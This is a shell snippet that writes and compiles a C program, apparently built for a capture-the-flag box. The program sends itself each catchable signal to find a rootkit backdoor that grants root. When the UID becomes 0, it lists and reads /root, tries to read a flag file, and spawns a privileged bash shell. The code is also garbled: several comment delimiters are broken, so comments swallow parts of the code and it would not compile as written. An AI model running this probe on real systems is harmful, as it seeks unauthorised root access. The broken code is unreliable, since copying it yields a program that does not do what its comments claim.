cat > sigscan.c <<'EOF'
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>

static void handler(int sig){ /* swallow it / }

int main(){
    printf("[] pid=%d\n", getpid());
    struct sigaction sa; memset(&sa,0,sizeof(sa));
    sa.sa_handler = handler;
    sigfillset(&sa.sa_mask);
    /* catch most signals so we don't die /
    for(int s=1; s<65; s++) sigaction(s, &sa, NULL);

    uid_t u0 = getuid();
    for(int s=1; s<=64; s++){
        / skip SIGKILL(9) and SIGSTOP(19) which can't be caught anyway /
        if(s==9 || s==19) continue;
        printf("[] sending signal %d ... ", s); fflush(stdout);
        /* call kill via syscall (some kits hook it) /
        long r = syscall(SYS_kill, getpid(), s);
        (void)r;
        usleep(200000); / 0.2s */
        uid_t u = getuid();
        printf("uid=%d\n", (int)u);
        if(u==0){
            printf("[+] ROOT via signal %d!\n", s);
            system("id; ls -la /root; cat /root/flag 2>/dev/null || echo '[!] no flag match in /root'; ls -la ~");
            execl("/bin/bash","bash","-p",NULL);
            return 0;
        }
    }
    printf("[-] No signal flipped UID. Try other triggers.\n");
    return 0;
}
EOF
gcc sigscan.c -o sigscan && ./sigscan